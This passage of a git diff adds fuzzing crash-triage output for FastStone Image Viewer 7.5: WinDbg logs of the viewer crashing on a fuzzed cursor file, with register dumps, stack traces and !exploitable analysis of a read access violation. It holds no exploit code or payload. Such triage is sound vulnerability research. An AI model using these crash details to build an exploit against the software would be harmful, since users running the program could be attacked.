C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1994.198c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0003ed2d ecx=07f47b10 edx=00003879 esi=ffd70010 edi=07d70fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.760750300146320480000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 1.559468500000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=9.08357e+014 -9.20385e-024 0.0523141 7.66524e+026 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08028130 07fa5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0034e000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0034e000 49fca1d0 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c6 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0034e000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/67172/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/67172/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..878c312 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/67172/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/68554/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/68554/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/68554/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/68554/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/68554/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a460ff6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/68554/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/68554/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/68554/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..3019f07 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/68554/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,191 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xC58: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xC58: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(c58.1f9c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07f87b10 edx=00003879 esi=12738f10 edi=0fcf4fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.772009299217368160000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-3.58343e+011 2.12056e+026 3.53013e+011 -8.44224e-011 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08068130 07fe5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00393000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00393000 b5d04495 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c7 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00393000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/68554/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/68554/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..3019f07 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/68554/WindowsDebugEngine_description.txt @@ -0,0 +1,191 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xC58: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xC58: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files 